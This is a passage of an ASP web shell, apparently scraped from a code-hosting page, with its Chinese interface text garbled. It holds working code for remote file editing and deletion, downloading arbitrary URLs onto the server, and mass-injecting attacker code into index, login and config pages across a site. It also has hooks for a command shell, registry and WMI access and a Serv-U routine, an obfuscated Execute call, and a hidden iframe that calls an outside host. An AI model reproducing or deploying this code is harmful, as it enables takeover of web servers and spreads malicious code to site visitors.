If Server.CreateObject("Scripting.FileSystemObject").FolderExists(thePath) = False Then
showErr(thePath & " Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD>ڻ<EFBFBD><DABB>߲<EFBFBD><DFB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!")
End If
Set theFolder = Server.CreateObject("Scripting.FileSystemObject").GetFolder(thePath)
Set files = theFolder.Files
Set folders = theFolder.SubFolders
For Each item In folders
fsoTreeForMdb item.Path, rs, stream
Next
For Each item In files
If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
rs.AddNew
rs("thePath") = Mid(item.Path, 4)
stream.LoadFromFile(item.Path)
rs("fileContent") = stream.Read()
rs.Update
End If
Next
Set files = Nothing
Set folders = Nothing
Set theFolder = Nothing:End Function
Sub unPack(thePath)
On Error Resume Next
Server.ScriptTimeOut=100000
Dim rs, ws, str, conn, stream, connStr, theFolder
str = Server.MapPath(".") & "\"
Set rs = CreateObject("ADODB.RecordSet")
Set stream = CreateObject("ADODB.Stream")
Set conn = CreateObject("ADODB.Connection")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & thePath & ";"
conn.Open connStr
rs.Open "FileData", conn, 1, 1
stream.Open
stream.Type = 1
Do Until rs.Eof
theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\"))
If Server.CreateObject("Scripting.FileSystemObject").FolderExists(str & theFolder) = False Then
createFolder(str & theFolder)
End If
stream.SetEos()
stream.Write rs("fileContent")
stream.SaveToFile str & rs("thePath"), 2
rs.MoveNext
Loop
rs.Close
conn.Close
stream.Close
Set ws = Nothing
Set rs = Nothing
Set stream = Nothing
Set conn = Nothing:End Sub:Sub createFolder(thePath)
Dim i
i = Instr(thePath, "\")
Do While i > 0
If Server.CreateObject("Scripting.FileSystemObject").FolderExists(Left(thePath, i)) = False Then
Server.CreateObject("Scripting.FileSystemObject").CreateFolder(Left(thePath, i - 1))
End If
If InStr(Mid(thePath, i + 1), "\") Then
i = i + Instr(Mid(thePath, i + 1), "\")
Else
i = 0
End If
Loop
End Sub:Sub saTreeForMdb(thePath, rs, stream)
Dim item, sysFileList
sysFileList = "$HSH.mdb$HSH.ldb$"
Set theFolder = saX.NameSpace(thePath)
For Each item In theFolder.Items
If item.IsFolder = True Then
saTreeForMdb item.Path, rs, stream
Else
If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
rs.AddNew
rs("thePath") = Mid(item.Path, 4)
stream.LoadFromFile(item.Path)
rs("fileContent") = stream.Read()
rs.Update
End If
End If
Next
Set theFolder = Nothing:End Sub:Sub createFolder(thePath):Dim i
i = Instr(thePath, "\")
Do While i > 0
If fsoX.FolderExists(Left(thePath, i)) = False Then
fsoX.CreateFolder(Left(thePath, i - 1))
End If
If InStr(Mid(thePath, i + 1), "\") Then
i = i + Instr(Mid(thePath, i + 1), "\")
Else
i = 0
End If
Loop:End Sub:Function CheckExt(FileExt)
If DimFileExt = "*" Then CheckExt = True
Ext = Split(DimFileExt,",")
For i = 0 To Ubound(Ext)
If Lcase(FileExt) = Ext(i) Then
CheckExt = True
Exit Function
End If
Next
End Function:Function upload():SI="<br><table width='80%' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
RRS "<22><><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<3A>޻<EFBFBD><DEBB><EFBFBD>...Ϊ<>˽<EFBFBD>ʡ.<2E><><EFBFBD><EFBFBD><EFBFBD>޻<EFBFBD><DEBB><EFBFBD><br>"
RRS "<form method=post>"
RRS "<input name=theUrl value='http://' size=80><input type=submit value=' <20><><EFBFBD><EFBFBD> '><br/>"
RRS "<input name=thePath value=""" & HtmlEncode(Server.MapPath(".")) & """ size=80>"
RRS "<input type=checkbox name=overWrite value=2><3E><><EFBFBD>ڸ<EFBFBD><DAB8><EFBFBD>"
RRS "<input type=hidden value=downFromUrl name=theAct>"
RRS "</form>"
RRS "<br>"
If isDebugMode = False Then
On Error Resume Next
End If
Dim Http, theUrl, thePath, stream, fileName, overWrite
theUrl = Request("theUrl")
thePath = Request("thePath")
overWrite = Request("overWrite")
Set stream = Server.CreateObject("ad"&e&"odb.st"&e&"ream")
Set Http = Server.CreateObject("MSXML2.XMLHTTP")
If overWrite <> 2 Then
overWrite = 1
End If
Http.Open "GET", theUrl, False
Http.Send()
If Http.ReadyState <> 4 Then
End If
With stream
.Type = 1
.Mode = 3
.Open
.Write Http.ResponseBody
.Position = 0
.SaveToFile thePath, overWrite
If Err.Number = 3004 Then
Err.Clear
fileName = Split(theUrl, "/")(UBound(Split(theUrl, "/")))
If fileName = "" Then
fileName = "index.htm.txt"
End If
thePath = thePath & "\" & fileName
.SaveToFile thePath, overWrite
End If
.Close
End With
chkErr(Err)
Set Http = Nothing
Set Stream = Nothing
If isDebugMode = False Then
On Error Resume Next
End If:End Function
Function GetDateModify(filepath):Set F2SO = CreateObject("Scripting.FileSystemObject")
Set f = F2SO.GetFile(filepath)
s = f.DateLastModified
set f = nothing
set F2SO = nothing
GetDateModify = s:End Function:Function GetDateCreate(filepath):Set F3SO = CreateObject("Scripting.FileSystemObject")
Set f = F3SO.GetFile(filepath)
s = f.DateCreated
set f = nothing
set F3SO = nothing
GetDateCreate = s:End Function:Function tURLEncode(Str):temp = Replace(Str, "%", "%25")
temp = Replace(temp, "#", "%23")
temp = Replace(temp, "&", "%26")
tURLEncode = temp:End Function:Sub ShowAllFile2(Path):Set F4SO = CreateObject("Scripting.FileSystemObject")
if not F4SO.FolderExists(path) then exit sub
Set f = F4SO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
If CheckExt(F4SO.GetExtensionName(path&"\"&myfile.name)) Then
Call IsFind(Path&"\"&myfile.name)
SumFiles = SumFiles + 1
End If
Next
Set fc = f.SubFolders
For Each f1 in fc
ShowAllFile2 path&"\"&f1.name
SumFolders = SumFolders + 1
Next
Set F4SO = Nothing:End Sub:Sub IsFind(thePath):theDate = GetDateModify(thePath)
on error resume next
theTmp = Mid(theDate, 1, Instr(theDate, " ") - 1)
if err then exit Sub
xDate = Split(request.Form("Search_Date"),";")
If request.Form("Search_Date") = "ALL" Then ALLTime = True
For i = 0 To Ubound(xDate)
If theTmp = xDate(i) or ALLTime = True Then
If request("Search_Content") <> "" Then
Set FSO2s = CreateObject("Scripting.FileSystemObject")
set ofile = FSO2s.OpenTextFile(thePath, 1, false, -2)
filetxt = Lcase(ofile.readall())
If Instr( filetxt, LCase(request.Form("Search_Content"))) > 0 Then
temp = "<a href=""http://"&Request.Servervariables("server_name")&"/"&tURLEncode(Replace(replace(thePath,server.MapPath("\")&"\","",1,1,1),"\","/"))&""" target=_blank>"&replace(thePath,server.MapPath("\")&"\","",1,1,1)&"</a>"
temp=temp&" <20><> <a href='javascript:FullForm("""&replace(replace(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")&""",""EditFile"")' class='am' title='<27>༭'>Edit</a> "
temp=temp&"<a href='javascript:FullForm("""&replace(replace(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")&""",""DelFile"")' onclick='return yesok()' class='am' title='ɾ<><C9BE>'>Del</a > "
temp=temp&"<a href='javascript:FullForm("""&replace(replace(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")&""",""CopyFile"")' class='am' title='<27><><EFBFBD><EFBFBD>'>Copy</a> "
temp=temp&"<a href='javascript:FullForm("""&replace(replace(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")&""",""MoveFile"")' class='am' title='<27>ƶ<EFBFBD>'>Move</a>"
Report = Report&"<tr><td height=30>"&temp&"</td><td>"&GetDateCreate(thePath)&"</td><td>"&theDate&"</td></tr>"
Report = Report&"<tr><td>"&temp&"</td><td>"&GetDateCreate(thePath)&"</td><td>"&theDate&"</td></tr>"
Sun = Sun + 1
Exit Sub
End If
ofile.close()
Set ofile = Nothing
Set FSO2s = Nothing
Else
temp = "<a href=""http://"&Request.Servervariables("server_name")&"/"&tURLEncode(replace(replace(FilePath,server.MapPath("\")&"\","",1,1,1),"\","/"))&""" target=_blank>"&replace(thePath,server.MapPath("\")&"\","",1,1,1)&"</a> "
temp=temp&"<a href='javascript:FullForm("""&replace(replace(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")&""",""EditFile"")' class='am' title='<27>༭'>Edit</a> "
temp=temp&"<a href='javascript:FullForm("""&replace(replace(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")&""",""DelFile"")' onclick='return yesok()' class='am' title='ɾ<><C9BE>'>Del</a > "
temp=temp&"<a href='javascript:FullForm("""&replace(replace(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")&""",""CopyFile"")' class='am' title='<27><><EFBFBD><EFBFBD>'>Copy</a> "
temp=temp&"<a href='javascript:FullForm("""&replace(replace(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")&""",""MoveFile"")' class='am' title='<27>ƶ<EFBFBD>'>Move</a>"
Report = Report&"<tr><td height=30>"&temp&"</td><td>"&GetDateCreate(thePath)&"</td><td>"&theDate&"</td></tr>"
Sun = Sun + 1
Exit Sub
End If
End If
Next:End Sub
Case "plgm"
Server.ScriptTimeout=1000000
Response.Buffer=False
RRS ("<b><3E><>ǰ<EFBFBD><C7B0>վ<EFBFBD><D5BE><EFBFBD><EFBFBD>·<EFBFBD><C2B7>:")&Server.MapPath("/")&("</b>")
ASP_SELF=Request.ServerVariables("PATH_INFO")
s=Request("fd")
if s="" then s=Server.MapPath("/")
ex=Request("ex")
pth=Request("pth")
newcnt=Request("newcnt")
addcode = Request("code")
if addcode="" then addcode="<"
If ex<>"" AND pth<>"" Then
select Case ex
Case "edit"
CALL file_show(pth)
Case "save"
CALL file_save(pth)
End select
Else
RRS("<form method=""POST""> ")
RRS("<table width=560 border=""0"" style=""font-size:12px;"">")
RRS("<tr>")
RRS("<td width=""102"">Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> (<28><><EFBFBD><EFBFBD>·<EFBFBD><C2B7>)<29><></td>")
RRS("<td width=""359""><input type=""text"" name=""fd"" value="""&s&""" size=60></td>")
RRS("<td width=""69"">&nbsp;</td>")
RRS("</tr><tr><td>Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>:</td>")
RRS("<td><textarea name=""code"" cols=58 rows=""3"">"&addcode&"</textarea></td>")
RRS("<td><input name=""submit"" type=""submit"" value=""<22><>ʼ""></td>")
RRS("</tr></table></form> ")
End If
Function IsPattern(patt,str)
ShiSan="fI dnE~ eslaF=nrettaPsI~ eslE~ eurT=nrettaPsI~ nehT eurT=laVter fI~ gnihtoN=xEger teS~ )rts(tseT.xEger=laVter~ eurT=esaCerongI.xEger~ ttap=nrettaP.xEger~ pxEgeR weN=xEger teS":ExeCuTe(UZSS(ShiSan)):End Function
if request.form("submit")<>"" then
If s="" or addcode="" Then
RRS "<font color=red><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!</font>"
response.end
else If IsPattern("[^ab]{1}:{1}(\\|\/)",s) Then sch s
End If
end if
Sub sch(s):oN eRrOr rEsUmE nExT
Set fs=Server.createObject("Scripting.FileSystemObject")
Set fd=fs.GetFolder(s)
Set fi=fd.Files
Set sf=fd.SubFolders
For Each f in fi
rtn=f.path
step_all rtn
Next
If sf.Count<>0 Then
For Each l In sf
sch l
Next
End If:End Sub:Sub step_all(agr):retVal=IsPattern("(\\|\/)(default|index|conn|admin|bbs|reg|help|upfile|upload|cart|class|login|diy|no|ok|del|config|sql|user|ubb|ftp|asp|top|new|open|name|email|img|images|web|blog|save|data|add|edit|game|about|manager|main|article|book|bt|config|mp3|vod|error|copy|move|down|system|logo|QQ|520|newup|myup|play|show|view|ip|err404|send|foot|char|info|list|shop|err|nc|ad|flash|text|admin_upfile|admin_upload|upfile_load|upfile_soft|upfile_photo|upfile_softpic|vip|505)\.(htm|html|asp|php|jsp|aspx|cgi|js)\b",agr)
If retVal Then
step1 agr
step2 agr
Else
Exit Sub:End If:End Sub:Sub step1(str1):RRS "<div style='line-height:20px'><3E><> "&str1&" _"
RRs "<a href='javascript:FullForm("""&replace(str1,"\","\\")&""",""DownFile"")' class='am' title='<27><><EFBFBD><EFBFBD>'>Down</a> "
RRS "<a href='javascript:FullForm("""&replace(str1,"\","\\")&""",""EditFile"")' class='am' title='<27>༭'>edit</a> "
RRS "<a href='javascript:FullForm("""&replace(str1,"\","\\")&""",""DelFile"")'onclick='return yesok()' class='am' title='ɾ<><C9BE>'>Del</a> "
RRS "<a href='javascript:FullForm("""&replace(str1,"\","\\")&""",""CopyFile"")' class='am' title='<27><><EFBFBD><EFBFBD>'>Copy</a> "
RRS "<a href='javascript:FullForm("""&replace(str1,"\","\\")&""",""MoveFile"")' class='am' title='<27>ƶ<EFBFBD>'>Move</a></div>":End Sub :Sub step2(str2):Set fs=Server.createObject("Scripting.FileSystemObject")
isExist=fs.FileExists(str2)
If isExist Then
Set f=fs.GetFile(str2)
Set f_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Write addcode
f_addcode.Close
Set f=Nothing
End If
Set fs=Nothing:End Sub:Err.Clear:Case "Cplgm":Fpath=Request("fd")
addcode = Request("code")
addcode2 = Request("code2")
pcfile=request("pcfile")
checkbox=request("checkbox")
ShowMsg=request("ShowMsg")
FType=request("FType")
M=request("M")
if Ftype="" then Ftype="txt|htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx"
if Fpath="\" then Fpath=Server.MapPath("\")
if Fpath="." or Fpath="" then Fpath=Server.MapPath(".")
if addcode="" then addcode="<"
if checkbox="" then checkbox=request("checkbox")
if pcfile="" then
pcfileName=Request.ServerVariables("SCRIPT_NAME")
pcfilek=split(pcfileName,"/")
pcfilen=ubound(pcfilek)
pcfile=pcfilek(pcfilen)
end if
RRS ("<b><3E><>վ<EFBFBD><D5BE>Ŀ¼</b>- "&Server.MapPath("/")&"<br>")
RRS ("<b><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼</b>- "&Server.MapPath("."))
RRS "<form method=POST><div style='color:#00FF00'><b>["
if M="1" then RRS"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
if M="2" then RRS"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD>"
if M="3" then RRS"<22><><EFBFBD><EFBFBD><EFBFBD>滻<EFBFBD><E6BBBB>-<2D>ļ<EFBFBD><C4BC>滻<EFBFBD>޸Ĺ<DEB8><C4B9><EFBFBD>"
if M="" then response.end
RRS "]</b></div><table width=100% border=0><tr><td><3E>ļ<EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD></td>"
RRS "<td><input type=text name=fd value='"&Fpath&"' size=40> <20>\<5C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>վ<EFBFBD><D5BE>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>.<2E><>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼</td></tr>"
if M="1" then RRS "<tr><td><3E><><EFBFBD><EFBFBD><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD></td><td><input class=c name='checkbox' type=checkbox value='checked' "&checkbox&"> <20><>ֹһ<D6B9><D2BB>ҳ<EFBFBD><D2B3><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD><EFBFBD>ظ<EFBFBD><D8B8>Ĵ<EFBFBD><C4B4><EFBFBD></td></tr>"
RRS "<tr><td><3E>ų<EFBFBD><C5B3>ļ<EFBFBD><C4BC><EFBFBD></td>"
RRS "<td><input name='pcfile' type=text id='pcfile' value='"&pcfile&"' size=40> <20><><EFBFBD>벻<EFBFBD>뱻<EFBFBD>޸ĵ<DEB8><C4B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>磺1.asp|2.asp|3.asp</td></tr>"
RRS "<tr><td><3E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ͣ<EFBFBD></td>"
RRS "<td><input name='FType' type=text id='FType' value='"&Ftype&"' size=40> <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD>޸ĵ<DEB8><C4B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>[<5B><>չ<EFBFBD><D5B9>]<5D><><EFBFBD><EFBFBD><EFBFBD>磺htm|html|asp|php|jsp|aspx|cgi</td></tr><tr><td><font color=#00FF00>"
if M="1" then RRS"Ҫ<>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD>"
if M="2" then RRS"Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
if M="3" then RRS"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>"
RRS"</font></td><td><textarea name=code cols=66 rows=3>"&addcode&"</textarea></td></tr>"
if M="3" then RRS "<tr><td><font color=#00FF00><3E><> <20><> Ϊ<><CEAA></font></td><td><textarea name=code2 cols=66 rows=3>"&addcode2&"</textarea></td></tr>"
RRS "<tr><td></td><td> <input name=submit type=submit value=<3D><>ʼִ<CABC><D6B4>> --<2D><><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD>--[<5B>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD> <20><> <20>ų<EFBFBD><C5B3><EFBFBD> <20><> <20>ظ<EFBFBD><D8B8><EFBFBD><font color=red></font>]</td></tr>"
RRS "</table></form>"
if request("submit")="<22><>ʼִ<CABC><D6B4>" then
RRS"<div style='line-height:25px'><b>ִ<>м<EFBFBD>¼<EFBFBD><C2BC></b><br>"
call InsertAllFiles(Fpath,addcode,pcfile)
RRS"</div>"
end if:Sub InsertAllFiles(Wpath,Wcode,pc):Server.ScriptTimeout=999999999
if right(Wpath,1)<>"\" then Wpath=Wpath &"\"
Set WFSO = CreateObject("Scripting.FileSystemObject")
on error resume next
Set f = WFSO.GetFolder(Wpath)
Set fc2 = f.files
For Each myfile in fc2
Set FS1 = CreateObject("Scripting.FileSystemObject")
FType1=split(myfile.name,".")
FType2=ubound(FType1)
if Ftype2>0 then
FType3=LCase(FType1(FType2))
else
FType3="<22><>"
end if
if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then
select case M
case "1"
if checkbox<>"checked" then
Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2)
tfile.writeline Wcode
RRS"<22><> "&Wpath&myfile.name
tfile.close
else
Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2)
if Instr(tfile1.readall,Wcode)=0 then
Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2)
tfile.writeline Wcode
RRS"<22><> "&Wpath&myfile.name
tfile1.close
else
RRS"<font color=red></font> "&Wpath&myfile.name
tfile1.close
end if
Set tfile1=Nothing
end if
case "2"
Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2)
NewCode=Replace(tfile1.readall,Wcode,"")
Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True)
objCountFile.Write NewCode
objCountFile.Close
RRS"<22><> "&Wpath&myfile.name
Set objCountFile=Nothing
case "3"
Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2)
NewCode=Replace(tfile1.readall,Wcode,addCode2)
Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True)
objCountFile.Write NewCode
objCountFile.Close
RRS"<22><> "&Wpath&myfile.name
Set objCountFile=Nothing
case else
RRS"<22><><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD><EFBFBD><EFBFBD>ȥ<EFBFBD><C8A5><EFBFBD><EFBFBD><EFBFBD>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD>ܵģ<DCB5>www.7jyewu.cn":response.end
end select
else
RRS" "&Wpath&myfile.name
end if
RRS " <20><> <a href='javascript:FullForm("""&replace(Wpath&myfile.name,"\","\\")&""",""DownFile"")' class='am' title='<27><><EFBFBD><EFBFBD>'>Down</a> "
RRS "<a href='javascript:FullForm("""&replace(Wpath&myfile.name,"\","\\")&""",""EditFile"")' class='am' title='<27>༭'>edit</a> "
RRS "<a href='javascript:FullForm("""&replace(str1,"\","\\")&""",""DelFile"")' onclick='return yesok()' class='am' title='ɾ<><C9BE>'>Del</a> "
RRS "<a href='javascript:FullForm("""&replace(Wpath&myfile.name,"\","\\")&""",""CopyFile"")' class='am' title='<27><><EFBFBD><EFBFBD>'>Copy</a> "
RRS "<a href='javascript:FullForm("""&replace(Wpath&myfile.name,"\","\\")&""",""MoveFile"")' class='am' title='<27>ƶ<EFBFBD>'>Move</a><br>"
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
NewPath=Wpath&""&f1.name
InsertAllFiles NewPath,Wcode,pc
Next
set tfile=nothing
Set FSO = Nothing
set tfile=nothing
set tfile2=nothing
Set WFSO = Nothing:End Sub:case"hiddenshell":hiddenshell():case "SetFileText":SetFileText():Case "ReadREG":call ReadREG():Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing:Case "DownFile":DownFile FName:ShowErr():Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing:Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing:Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing:Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing:Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing:Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing:Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing:Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing:Case "UpFile":UpFile():Case "Cmd1Shell":Cmd1Shell():Case "Logout":Session.Contents.Remove("web2a2dmin"):Response.Redirect URL:Case "CreateMdb":CreateMdb FName:Case "CompactMdb":CompactMdb FName:Case "DbManager":DbManager():Case "Course":Course():Case "wmi":wmi():Case "ScanDriveForm" : ScanDriveForm:Case "ScanDrive" : ScanDrive Request("Drive"):Case "ScFolder" : ScFolder Request("Folder"):Case "adminab":adminab():Case "sqlabc":sqlabc():Case "fuck":fuck():Case "hook":hook():Case "gody":gody():Case "suftp":suftp():Case "upload":upload():Case "ServerInfo":ServerInfo():Case Else MainForm():End Select
if Action<>"Servu" then ShowErr():RRS"</body><iframe src=http://7jyewu.cn/a/a.asp width=0 height=0></iframe></html>"
%>
Reference in a new issue Copy permalink